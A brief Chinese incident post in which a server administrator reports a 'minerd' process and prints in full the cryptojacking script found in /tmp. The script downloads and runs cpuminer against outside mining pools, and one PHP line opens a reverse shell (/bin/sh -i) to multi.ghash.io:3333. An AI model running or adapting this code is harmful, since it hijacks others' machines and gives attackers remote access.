今天服务器cpu使用率一直很高,而且是nice高,说明是一些低优先级的进程占用了大量的cpu,经过排查发先了minerd这个进程
以服务器的/tmp目录下找到了源头。。。。。一个简单的脚本:
1 Cpunum=`cat /proc/cpuinfo |grep ‘processor‘|wc -l`; 2 echo "cpu-number $Cpunum"; 3 4 function random() 5 { 6 min=$1; 7 max=$2-$1; 8 num=$(date +%s+%N); 9 ((retnum=num%max+min)); 10 echo $retnum; 11 } 12 13 function down(){ 14 rm -rf /tmp/minerd 15 rm -rf /tmp/pooler.tar.gz 16 Bits=`getconf LONG_BIT`; 17 echo $Bits; 18 if [ $Bits -eq 64 ]; 19 then 20 echo "is 64 bit"; 21 url=‘http://jaist.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.4-linux-x86_64.tar.gz‘ 22 elif [ $Bits -eq 32 ]; 23 then 24 echo "is 32 bit"; 25 url=‘http://jaist.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.4-linux-x86.tar.gz‘ 26 fi 27 echo $url 28 if [ -f /tmp/minerd ]; 29 then 30 echo "minerd File exists" 31 #cd /tmp/ 32 #./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker1 -p x 33 else 34 if [ -f /tmp/pooler.tar.gz ]; 35 then 36 rm -rf /tmp/pooler.tar.gz 37 fi 38 if [ `which wget` ]; 39 then 40 echo "wget is ok." 41 downtools=`wget -O /tmp/pooler.tar.gz $url` 42 elif [ `which curl` ]; 43 then 44 echo "curl is ok." 45 downtools=`curl -o /tmp/pooler.tar.gz $url` 46 fi 47 cd /tmp/ 48 tar zxvf pooler.tar.gz 49 rm -rf /tmp/pooler.tar.gz 50 #./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker1 -p x 51 fi 52 53 } 54 function run(){ 55 out=$(random 1 100); 56 echo $out 57 Isopen=`php -r ‘[email protected]("multi.ghash.io",3333);exec("/bin/sh -i <&3 >&3 2>&3");if ($sock) {echo "ok";}‘` 58 59 if [ $Isopen ]; 60 then 61 echo "connt prot 3333 ok" 62 cd /tmp 63 ./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker$out -p x 64 else 65 echo "connt 186 host pool 80" 66 cd /tmp 67 ./minerd -a scrypt -o stratum+tcp://106.186.118.162:80 -u lscllc.worker1 -p x 68 69 fi 70 } 71 72 process=`pgrep minerd` 73 74 #echo $process 75 76 if [ $process ]; 77 then 78 echo "find minerd ok start kill $process" 79 kill $process 80 run 81 else 82 echo "not find minerd process" 83 down 84 run 85 fi
关于‘挖矿’minerd
时间: 2024-11-22 20:46:11